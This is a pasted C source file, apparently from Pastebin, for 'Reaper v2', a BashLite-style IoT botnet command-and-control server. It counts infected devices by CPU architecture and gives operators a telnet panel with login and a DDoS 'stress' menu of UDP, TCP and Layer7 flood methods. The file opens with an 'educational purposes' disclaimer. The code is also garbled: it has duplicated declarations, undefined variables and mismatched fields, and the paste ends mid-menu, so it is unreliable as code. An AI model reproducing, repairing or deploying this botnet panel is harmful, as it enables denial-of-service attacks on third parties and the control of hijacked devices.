Advertisement
Guest User

Untitled

a guest
Dec 30th, 2018
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 58.00 KB | None | 0 0
  1. //
  2. //This is a public build of reaper v2 : i am releasing this for an CnC/BashLite Source Autosetup menu!
  3. //
  4. //Created by Flexingonlamers
  5. // The Usage of this product is only intended for Educational Purposes only, for the understanding of a "CnC" And Alternatives for development. what the user does with this product is not in my control.
  6. //
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netdb.h>
  13. #include <unistd.h>
  14. #include <time.h>
  15. #include <fcntl.h>
  16. #include <sys/epoll.h>
  17. #include <errno.h>
  18. #include <pthread.h>
  19. #include <signal.h>
  20. #include <ctype.h>
  21. #include <arpa/inet.h>
  22.  
  23. #define MAXFDS 1000000
  24.  
  25. struct account {
  26. char user[200];
  27. char password[200];
  28. };
  29. static struct account accounts[50];
  30.  
  31. struct clientdata_t {
  32. uint32_t ip;
  33. char x86;
  34. char mips;
  35. char arm;
  36. char spc;
  37. char ppc;
  38. char sh4;
  39. char connected;
  40. } clients[MAXFDS];
  41.  
  42. struct telnetdata_t {
  43. uint32_t ip;
  44. int connected;
  45. } managements[MAXFDS];
  46.  
  47. static volatile FILE *fileFD;
  48. static volatile int epollFD = 0;
  49. static volatile int listenFD = 0;
  50. static volatile int managesConnected = 0;
  51. static volatile int DUPESDELETED = 0;
  52.  
  53. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  54. {
  55. int total = 0, got = 1;
  56. while (got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  57. return got;
  58. }
  59. void trim(char *str)
  60. {
  61. int i;
  62. int begin = 0;
  63. int end = strlen(str) - 1;
  64. while (isspace(str[begin])) begin++;
  65. while ((end >= begin) && isspace(str[end])) end--;
  66. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  67. str[i - begin] = '\0';
  68. }
  69.  
  70. static int make_socket_non_blocking(int sfd)
  71. {
  72. int flags, s;
  73. flags = fcntl(sfd, F_GETFL, 0);
  74. if (flags == -1)
  75. {
  76. perror("fcntl");
  77. return -1;
  78. }
  79. flags |= O_NONBLOCK;
  80. s = fcntl(sfd, F_SETFL, flags);
  81. if (s == -1)
  82. {
  83. perror("fcntl");
  84. return -1;
  85. }
  86. return 0;
  87. }
  88.  
  89.  
  90. static int create_and_bind(char *port)
  91. {
  92. struct addrinfo hints;
  93. struct addrinfo *result, *rp;
  94. int s, sfd;
  95. memset(&hints, 0, sizeof(struct addrinfo));
  96. hints.ai_family = AF_UNSPEC;
  97. hints.ai_socktype = SOCK_STREAM;
  98. hints.ai_flags = AI_PASSIVE;
  99. s = getaddrinfo(NULL, port, &hints, &result);
  100. if (s != 0)
  101. {
  102. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));
  103. return -1;
  104. }
  105. for (rp = result; rp != NULL; rp = rp->ai_next)
  106. {
  107. sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  108. if (sfd == -1) continue;
  109. int yes = 1;
  110. if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) perror("setsockopt");
  111. s = bind(sfd, rp->ai_addr, rp->ai_addrlen);
  112. if (s == 0)
  113. {
  114. break;
  115. }
  116. close(sfd);
  117. }
  118. if (rp == NULL)
  119. {
  120. fprintf(stderr, "Could not bind\n");
  121. return -1;
  122. }
  123. freeaddrinfo(result);
  124. return sfd;
  125. }
  126. void broadcast(char *msg, int us, char *sender)
  127. {
  128. int sendMGM = 1;
  129. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  130. char *wot = malloc(strlen(msg) + 10);
  131. memset(wot, 0, strlen(msg) + 10);
  132. strcpy(wot, msg);
  133. trim(wot);
  134. time_t rawtime;
  135. struct tm * timeinfo;
  136. time(&rawtime);
  137. timeinfo = localtime(&rawtime);
  138. char *timestamp = asctime(timeinfo);
  139. trim(timestamp);
  140. int i;
  141. for(i = 0; i < MAXFDS; i++)
  142. {
  143. if(i == us || (!clients[i].connected)) continue;
  144. if(sendMGM && managements[i].connected)
  145. {
  146. send(i, "\x1b[1;35m", 9, MSG_NOSIGNAL);
  147. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  148. send(i, ": ", 2, MSG_NOSIGNAL);
  149. }
  150. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  151. send(i, "\n", 1, MSG_NOSIGNAL);
  152. }
  153. free(wot);
  154. }
  155. void *epollEventLoop(void *useless)
  156. {
  157. struct epoll_event event;
  158. struct epoll_event *events;
  159. int s;
  160. events = calloc(MAXFDS, sizeof event);
  161. while (1)
  162. {
  163. int n, i;
  164. n = epoll_wait(epollFD, events, MAXFDS, -1);
  165. for (i = 0; i < n; i++)
  166. {
  167. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  168. {
  169. clients[events[i].data.fd].connected = 0;
  170. clients[events[i].data.fd].arm = 0;
  171. clients[events[i].data.fd].mips = 0;
  172. clients[events[i].data.fd].x86 = 0;
  173. clients[events[i].data.fd].spc = 0;
  174. clients[events[i].data.fd].ppc = 0;
  175. clients[events[i].data.fd].sh4 = 0;
  176. close(events[i].data.fd);
  177. continue;
  178. }
  179. else if (listenFD == events[i].data.fd)
  180. {
  181. while (1)
  182. {
  183. struct sockaddr in_addr;
  184. socklen_t in_len;
  185. int infd, ipIndex;
  186.  
  187. in_len = sizeof in_addr;
  188. infd = accept(listenFD, &in_addr, &in_len);
  189. if (infd == -1)
  190. {
  191. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  192. else
  193. {
  194. perror("accept");
  195. break;
  196. }
  197. }
  198.  
  199. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  200.  
  201. int dup = 0;
  202. for (ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  203. {
  204. if (!clients[ipIndex].connected || ipIndex == infd) continue;
  205.  
  206. if (clients[ipIndex].ip == clients[infd].ip)
  207. {
  208. dup = 1;
  209. break;
  210. }
  211. }
  212.  
  213. if (dup)
  214. {
  215. DUPESDELETED++;
  216. continue;
  217. }
  218.  
  219. s = make_socket_non_blocking(infd);
  220. if (s == -1) { close(infd); break; }
  221.  
  222. event.data.fd = infd;
  223. event.events = EPOLLIN | EPOLLET;
  224. s = epoll_ctl(epollFD, EPOLL_CTL_ADD, infd, &event);
  225. if (s == -1)
  226. {
  227. perror("epoll_ctl");
  228. close(infd);
  229. break;
  230. }
  231.  
  232. clients[infd].connected = 1;
  233. send(infd, "~ SC ON\n", 9, MSG_NOSIGNAL);
  234.  
  235. }
  236. continue;
  237. }
  238. else
  239. {
  240. int thefd = events[i].data.fd;
  241. struct clientdata_t *client = &(clients[thefd]);
  242. int done = 0;
  243. client->connected = 1;
  244. client->arm = 0;
  245. client->mips = 0;
  246. client->sh4 = 0;
  247. client->x86 = 0;
  248. client->spc = 0;
  249. client->ppc = 0;
  250. while (1)
  251. {
  252. ssize_t count;
  253. char buf[2048];
  254. memset(buf, 0, sizeof buf);
  255.  
  256. while (memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  257. {
  258. if (strstr(buf, "\n") == NULL) { done = 1; break; }
  259. trim(buf);
  260. if (strcmp(buf, "PING") == 0) {
  261. if (send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  262. continue;
  263. }
  264. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mx86_64\e[1;37m]") == buf)
  265. {
  266. client->x86 = 1;
  267. }
  268. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mx86_32\e[1;37m]") == buf)
  269. {
  270. client->x86 = 1;
  271. }
  272. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mMIPS\e[1;37m]") == buf)
  273. {
  274. client->mips = 1;
  275. }
  276. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mMPSL\e[1;37m]") == buf)
  277. {
  278. client->mips = 1;
  279. }
  280. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mARM4\e[1;37m]") == buf)
  281. {
  282. client->arm = 1;
  283. }
  284. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mARM5\e[1;37m]") == buf)
  285. {
  286. client->arm = 1;
  287. }
  288. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mARM6\e[1;37m]") == buf)
  289. {
  290. client->arm = 1;
  291. }
  292. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mARM7\e[1;37m]") == buf)
  293. {
  294. client->arm = 1;
  295. }
  296. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mPPC\e[1;37m]") == buf)
  297. {
  298. client->ppc = 1;
  299. }
  300. if(strstr(buf, "\e[1;37m[\e[0;31mREAPER\e[1;37m] \e[1;37mDevices Loading \e[1;37m[\e[0;31mBUILD\e[1;37m] ~> [\e[0;31mSPC\e[1;37m]") == buf)
  301. {
  302. client->spc = 1;
  303. }
  304. if(strcmp(buf, "PING") == 0) {
  305. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  306. continue; }
  307. if(strcmp(buf, "PONG") == 0) {
  308. continue; }
  309. printf("\"%s\"\n", buf); }
  310.  
  311. if (count == -1)
  312. {
  313. if (errno != EAGAIN)
  314. {
  315. done = 1;
  316. }
  317. break;
  318. }
  319. else if (count == 0)
  320. {
  321. done = 1;
  322. break;
  323. }
  324. }
  325.  
  326. if (done)
  327. {
  328. client->connected = 0;
  329. client->arm = 0;
  330. client->mips = 0;
  331. client->sh4 = 0;
  332. client->x86 = 0;
  333. client->spc = 0;
  334. client->ppc = 0;
  335. close(thefd);
  336. }
  337. }
  338. }
  339. }
  340. }
  341.  
  342. unsigned int armConnected()
  343. {
  344. int i = 0, total = 0;
  345. for(i = 0; i < MAXFDS; i++)
  346. {
  347. if(!clients[i].arm) continue;
  348. total++;
  349. }
  350.  
  351. return total;
  352. }
  353. unsigned int mipsConnected()
  354. {
  355. int i = 0, total = 0;
  356. for(i = 0; i < MAXFDS; i++)
  357. {
  358. if(!clients[i].mips) continue;
  359. total++;
  360. }
  361.  
  362. return total;
  363. }
  364.  
  365. unsigned int x86Connected()
  366. {
  367. int i = 0, total = 0;
  368. for(i = 0; i < MAXFDS; i++)
  369. {
  370. if(!clients[i].x86) continue;
  371. total++;
  372. }
  373.  
  374. return total;
  375. }
  376.  
  377. unsigned int spcConnected()
  378. {
  379. int i = 0, total = 0;
  380. for(i = 0; i < MAXFDS; i++)
  381. {
  382. if(!clients[i].spc) continue;
  383. total++;
  384. }
  385.  
  386. return total;
  387. }
  388.  
  389. unsigned int ppcConnected()
  390. {
  391. int i = 0, total = 0;
  392. for(i = 0; i < MAXFDS; i++)
  393. {
  394. if(!clients[i].ppc) continue;
  395. total++;
  396. }
  397.  
  398. return total;
  399. }
  400.  
  401. unsigned int sh4Connected()
  402. {
  403. int i = 0, total = 0;
  404. for(i = 0; i < MAXFDS; i++)
  405. {
  406. if(!clients[i].sh4) continue;
  407. total++;
  408. }
  409.  
  410. return total;
  411. }
  412.  
  413. unsigned int clientsConnected()
  414. {
  415. int i = 0, total = 0;
  416. for (i = 0; i < MAXFDS; i++)
  417. {
  418. if (!clients[i].connected) continue;
  419. total++;
  420. }
  421.  
  422. return total;
  423. }
  424.  
  425. void *titleWriter(void *sock)
  426. {
  427. int thefd = (long int)sock;
  428. char string[2048];
  429. while(1)
  430. {
  431. memset(string, 0, 2048);
  432. sprintf(string, "%c]0; Reaper v2 [Public] | IoT Devices: %d | Malware Enthusiast: %d %c", '\033', clientsConnected(), managesConnected, '\007');
  433. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  434. sleep(2);
  435. }
  436. }
  437.  
  438.  
  439. int Search_in_File(char *str)
  440. {
  441. FILE *fp;
  442. int line_num = 0;
  443. int find_result = 0, find_line = 0;
  444. char temp[512];
  445.  
  446. FILE *fp;
  447. int line_num = 0;
  448. int find_result = 0, find_line=0;
  449. char temp[512];
  450. if((fp = fopen("reaper.txt", "r")) == NULL){
  451. return(-1);
  452. }
  453. while(fgets(temp, 512, fp) != NULL){
  454. if((strstr(temp, str)) != NULL){
  455. find_result++;
  456. find_line = line_num;
  457. }
  458. line_num++;
  459. }
  460. if(fp)
  461. fclose(fp);
  462. if(find_result == 0)return 0;
  463. return find_line;
  464. }
  465. void *telnetWorker(void *sock)
  466. {
  467. char usernames[80];
  468. int thefd = (int)sock;
  469. int find_line;
  470. managesConnected++;
  471. pthread_t title;
  472. char counter[2048];
  473. memset(counter, 0, 2048);
  474. char buf[2048];
  475. char* nickstring;
  476. char* username;
  477. char* password;
  478. memset(buf, 0, sizeof buf);
  479. char hackz[2048];
  480. memset(hackz, 0, 2048);
  481. FILE *fp;
  482. int i=0;
  483. int c;
  484. fp=fopen("login.txt", "r"); // format: user pass
  485. while(!feof(fp))
  486. {
  487. c=fgetc(fp);
  488. ++i;
  489. }
  490. int j=0;
  491. rewind(fp);
  492. while(j!=i-1)
  493. {
  494. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  495. ++j;
  496. }
  497. sprintf(hackz, "\x1b[%sUsername:\x1b[30m ", colorCodes[(rand() % 6)]);
  498. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  499. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  500. trim(buf);
  501. sprintf(usernames, buf);
  502. nickstring = ("%s", buf);
  503. find_line = Search_in_File(nickstring);
  504. if(strcmp(nickstring, accounts[find_line].id) == 0){
  505. sprintf(hackz, "\x1b[%sPassword:\x1b[30m ", colorCodes[(rand() % 6)]);
  506. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  507. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  508. trim(buf);
  509. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  510. memset(buf, 0, 2048);
  511. goto hacker;
  512. }
  513. failed:
  514. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  515. if(send(thefd, "\x1b[36m Attempting To Log IP Address\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  516. sleep(2);
  517. if(send(thefd, "\x1b[36m Successfully Logged Bye Bitch\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  518. sleep(2);
  519. }
  520. hacker:
  521. if (send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  522. reaper: // We are Displaying Attempting to display main banner!
  523. pthread_create(&title, NULL, &titleWriter, sock); // We are Displaying Attempting to display main banner!
  524. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  525. if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  526. char reaper_1 [90000]; // We are Displaying Attempting to display main banner!
  527. char reaper_2 [90000]; // We are Displaying Attempting to display main banner!
  528. char reaper_3 [90000]; // We are Displaying Attempting to display main banner!
  529. char reaper_4 [90000]; // We are Displaying Attempting to display main banner!
  530. char reaper_5 [90000]; // We are Displaying Attempting to display main banner!
  531. char reaper_6 [90000]; // We are Displaying Attempting to display main banner!
  532. char reaper_7 [90000]; // We are Displaying Attempting to display main banner!
  533. char reaper_8 [90000]; // We are Displaying Attempting to display main banner!
  534. char reaper_9 [90000]; // We are Displaying Attempting to display main banner!
  535. char reaper_10 [90000]; // We are Displaying Attempting to display main banner!
  536. char reaper_11 [90000]; // We are Displaying Attempting to display main banner!
  537. char reaper_12 [90000]; // We are Displaying Attempting to display main banner!
  538. char reaper_13 [90000]; // We are Displaying Attempting to display main banner!
  539. char reaper_14 [90000]; // We are Displaying Attempting to display main banner!
  540. char reaper_15 [90000]; // We are Displaying Attempting to display main banner!
  541. char reaper_16 [90000]; // We are Displaying Attempting to display main banner!
  542. char reaper_17 [90000]; // We are Displaying Attempting to display main banner!
  543. char reaper_18 [90000]; // We are Displaying Attempting to display main banner!
  544. char reaper_19 [90000]; // We are Displaying Attempting to display main banner!
  545. char reaper_20 [90000]; // We are Displaying Attempting to display main banner!
  546. char reaper_21 [90000]; // We are Displaying Attempting to display main banner!
  547. char reaper_22 [90000]; // We are Displaying Attempting to display main banner!
  548. char reaper_23 [90000]; // We are Displaying Attempting to display main banner!
  549.  
  550. sprintf(reaper_1, "\x1b[0;31m8888888b\r\n");
  551. sprintf(reaper_2, "\x1b[0;31m888 Y88b\r\n");
  552. sprintf(reaper_3, "\x1b[0;31m888 888\r\n");
  553. sprintf(reaper_4, "\x1b[0;31m888 d88P .d88b. 8888b. 88888b. .d88b. 888d888\r\n");
  554. sprintf(reaper_5, "\x1b[0;31m8888888P d8P Y8b 88b 888 88b d8P Y8b 888P\r\n");
  555. sprintf(reaper_6, "\x1b[0;31m888 T88b 88888888 .d888888 888 888 88888888 888\r\n");
  556. sprintf(reaper_7, "\x1b[0;31m888 T88b Y8b. 888 888 888 d88P Y8b. 888\r\n");
  557. sprintf(reaper_8, "\x1b[0;31m888 T88b Y8888 Y888888 88888P Y8888 888\r\n");
  558. sprintf(reaper_9, "\x1b[0;31m 888\r\n");
  559. sprintf(reaper_10, "\x1b[0;31m 888\r\n");
  560. sprintf(reaper_11, "\x1b[0;31m 888 \r\n");
  561. sprintf(reaper_12, "\x1b[0;31m\r\n");
  562. sprintf(reaper_13, "\x1b[0;31m*********************************************\r\n");
  563. sprintf(reaper_14, "\x1b[0;31m* \x1b[1;37mWelcome To The Reaper v2 \x1b[0;31m*\r\n", accounts[find_line].user, buf);
  564. sprintf(reaper_15, "\x1b[0;31m********************************************* \r\n");
  565. sprintf(reaper_16, "\x1b[0;31m\r\n");
  566. sprintf(reaper_17, "\x1b[0;31mSelect An Option:\r\n");
  567. sprintf(reaper_18, "\x1b[0;37m[\x1b[1;32mHELP\x1b[0;37m] -\x1b[1;37mShows Attack Commands\r\n");
  568. sprintf(reaper_19, "\x1b[0;37m[\x1b[1;33mRULES\x1b[0;37m] -\x1b[1;37mShow T.O.S Of ReaperNet\r\n");
  569. sprintf(reaper_20, "\x1b[0;37m[\x1b[0;34mPORTS\x1b[0;37m] -\x1b[1;37mShows Usable Ports\r\n");
  570. sprintf(reaper_21, "\x1b[0;37m[\x1b[0;35mSTRESS\x1b[0;37m] -\x1b[1;37mShows Boot Tutorial\r\n");
  571. sprintf(reaper_22, "\x1b[0;37m[\x1b[1;36mEXTRA\x1b[0;37m] -\x1b[1;37mShows Something For Skidz\r\n");
  572. sprintf(reaper_23, "\x1b[1;37mLogged In As:\x1b[0;31m %s\x1b[0;37m\r\n", accounts[find_line].user, buf);
  573. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  574. if(send(thefd, reaper_1, strlen(reaper_1), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  575. if(send(thefd, reaper_2, strlen(reaper_2), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  576. if(send(thefd, reaper_3, strlen(reaper_3), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  577. if(send(thefd, reaper_4, strlen(reaper_4), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  578. if(send(thefd, reaper_5, strlen(reaper_5), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  579. if(send(thefd, reaper_6, strlen(reaper_6), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  580. if(send(thefd, reaper_7 , strlen(reaper_7), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  581. if(send(thefd, reaper_8 , strlen(reaper_8), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  582. if(send(thefd, reaper_9 , strlen(reaper_9), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  583. if(send(thefd, reaper_10 , strlen(reaper_10), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  584. if(send(thefd, reaper_11 , strlen(reaper_11), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  585. if(send(thefd, reaper_12 , strlen(reaper_12), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  586. if(send(thefd, reaper_13 , strlen(reaper_13), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  587. if(send(thefd, reaper_14 , strlen(reaper_14), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  588. if(send(thefd, reaper_15 , strlen(reaper_15), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  589. if(send(thefd, reaper_16 , strlen(reaper_16), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  590. if(send(thefd, reaper_17 , strlen(reaper_17), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  591. if(send(thefd, reaper_18 , strlen(reaper_18), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  592. if(send(thefd, reaper_19 , strlen(reaper_19), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  593. if(send(thefd, reaper_20 , strlen(reaper_20), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  594. if(send(thefd, reaper_21 , strlen(reaper_21), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  595. if(send(thefd, reaper_22 , strlen(reaper_22), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  596. if(send(thefd, reaper_23 , strlen(reaper_23), MSG_NOSIGNAL) == -1) goto end; // We are Displaying Attempting to display main banner!
  597. while(1)
  598. {
  599. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  600. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  601. break;
  602. }
  603. pthread_create(&title, NULL, &titleWriter, sock);
  604. managements[thefd].connected = 1;
  605.  
  606. while(fdgets(buf, sizeof buf, thefd) > 0)
  607. {
  608. if (strstr(buf, "bots") || strstr(buf, "BOTS") || strstr(buf, "botcount") || strstr(buf, "BOTCOUNT") || strstr(buf, "COUNT") || strstr(buf, "count")) {
  609. {
  610. char total[128];
  611. char mips[128];
  612. char sh4[128];
  613. char arm[128];
  614. char ppc[128];
  615. char x86[128];
  616. char spc[128];
  617. sprintf(mips, "\x1b[0;31mreaper.mips \x1b[1;37m[\x1b[0;31m%d\x1b[1;37m]\r\n", mipsConnected());
  618. sprintf(arm, "\x1b[0;31mreaper.arm \x1b[1;37m[\x1b[0;31m%d\x1b[1;37m]\r\n", armConnected());
  619. sprintf(sh4, "\x1b[0;31mreaper.sh4 \x1b[1;37m[\x1b[0;31m%d\x1b[1;37m]\r\n", sh4Connected());
  620. sprintf(ppc, "\x1b[0;31mreaper.ppc \x1b[1;37m[\x1b[0;31m%d\x1b[1;37m]\r\n", ppcConnected());
  621. sprintf(x86, "\x1b[0;31mreaper.x86 \x1b[1;37m[\x1b[0;31m%d\x1b[1;37m]\r\n", x86Connected());
  622. sprintf(spc, "\x1b[0;31mreaper.spc \x1b[1;37m[\x1b[0;31m%d\x1b[1;37m]\r\n", spcConnected());
  623. sprintf(total, "\x1b[0;31mreaper.ttl \x1b[1;37m[\x1b[0;31m%d\x1b[1;37m]\r\n", clientsConnected());
  624. if (send(thefd, mips, strlen(mips), MSG_NOSIGNAL) == -1) goto end;
  625. if (send(thefd, sh4, strlen(sh4), MSG_NOSIGNAL) == -1) goto end;
  626. if (send(thefd, arm, strlen(arm), MSG_NOSIGNAL) == -1) goto end;
  627. if (send(thefd, ppc, strlen(ppc), MSG_NOSIGNAL) == -1) goto end;
  628. if (send(thefd, x86, strlen(x86), MSG_NOSIGNAL) == -1) goto end;
  629. if (send(thefd, spc, strlen(spc), MSG_NOSIGNAL) == -1) goto end;
  630. if (send(thefd, total, strlen(total), MSG_NOSIGNAL) == -1) goto end;
  631. pthread_create(&title, NULL, &titleWriter, sock);
  632. while(1)
  633. {
  634. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  635. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  636. break; // World Break!
  637. }
  638. continue;
  639. }
  640. }
  641. if(strstr(buf, "HELP") || strstr(buf, "help") || strstr(buf, "Help") || strstr(buf, "?"))
  642. {
  643. char help_cmd1 [5000];
  644. char help_line1 [5000];
  645. char help_coms1 [5000];
  646. char help_coms2 [5000];
  647. char help_coms3 [5000];
  648. char help_coms4 [5000];
  649. char help_coms9 [5000];
  650. char help_line3 [5000];
  651.  
  652. sprintf(help_cmd1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]All Commands\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] \r\n");
  653. sprintf(help_line1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  654. sprintf(help_coms1, "\x1b[0;37m[\x1b[1;31mClear Screen\x1b[1;37m] CLEAR\r\n");
  655. sprintf(help_coms2, "\x1b[1;37m[\x1b[1;32mLOGOUT\x1b[1;37m] LOGOUT\r\n");
  656. sprintf(help_coms3, "\x1b[1;37m[\x1b[1;33mUsable Ports\x1b[1;37m] PORTS\r\n");
  657. sprintf(help_coms4, "\x1b[1;37m[\x1b[1;34mRules\x1b[1;37m] RULES\r\n");
  658. sprintf(help_coms9, "\x1b[1;37m[\x1b[1;33mStressing Commands\x1b[1;37m] STRESS\r\n");
  659. sprintf(help_line3, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  660.  
  661. if(send(thefd, help_cmd1, strlen(help_cmd1), MSG_NOSIGNAL) == -1) goto end;
  662. if(send(thefd, help_line1, strlen(help_line1), MSG_NOSIGNAL) == -1) goto end;
  663. if(send(thefd, help_coms1, strlen(help_coms1), MSG_NOSIGNAL) == -1) goto end;
  664. if(send(thefd, help_coms2, strlen(help_coms2), MSG_NOSIGNAL) == -1) goto end;
  665. if(send(thefd, help_coms3, strlen(help_coms3), MSG_NOSIGNAL) == -1) goto end;
  666. if(send(thefd, help_coms4, strlen(help_coms4), MSG_NOSIGNAL) == -1) goto end;
  667. if(send(thefd, help_coms9, strlen(help_coms9), MSG_NOSIGNAL) == -1) goto end;
  668. if(send(thefd, help_line3, strlen(help_line3), MSG_NOSIGNAL) == -1) goto end;
  669. pthread_create(&title, NULL, &titleWriter, sock);
  670. while(1)
  671. {
  672. sprintf(botnet, "\x1b[1;37m[%s@Reaper ~]#", accounts[find_line].user, buf);
  673. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  674. break; // World Break!
  675. }
  676. continue;
  677. }
  678. if(strstr(buf, "STRESS") || strstr(buf, "stress") || strstr(buf, "ddos") || strstr(buf, "DDOS"))
  679. {
  680. char stress_cmd1 [5000];
  681. char stress_line1 [5000];
  682. char stress_udp1 [5000];
  683. char stress_udp2 [5000];
  684. char stress_udp4 [5000];
  685. char stress_line2 [5000];
  686.  
  687. sprintf(stress_cmd1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] Method Listings\x1b[1;37m[\x1b[0;31m+\x1b[1;37m] \r\n");
  688. sprintf(stress_line1, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  689. sprintf(stress_udp1, "\x1b[1;37m[\x1b[0;31mLayer4 UDP\x1b[1;37m] L4UDP \r\n");
  690. sprintf(stress_udp2, "\x1b[1;37m[\x1b[0;31mLayer4 TCP\x1b[1;37m] L4TCP \r\n");
  691. sprintf(stress_udp4, "\x1b[1;37m[\x1b[0;31mLayer7\x1b[1;37m] L7 \r\n");
  692. sprintf(stress_line2, "\x1b[1;37m[\x1b[0;31m+\x1b[1;37m]---------------------------------------------------------\r\n");
  693. if(send(thefd, stress_cmd1, strlen(stress_cmd1), MSG_NOSIGNAL) == -1) goto end;
  694. if(send(thefd, stress_line1, strlen(stress_line1), MSG_NOSIGNAL) == -1) goto end;
  695. if(send(thefd, stress_udp1, strlen(stress_udp1), MSG_NOSIGNAL) == -1) goto end;
  696. if(send(thefd, stress_udp2, strlen(stress_udp2), MSG_NOSIGNAL) == -1) goto end;
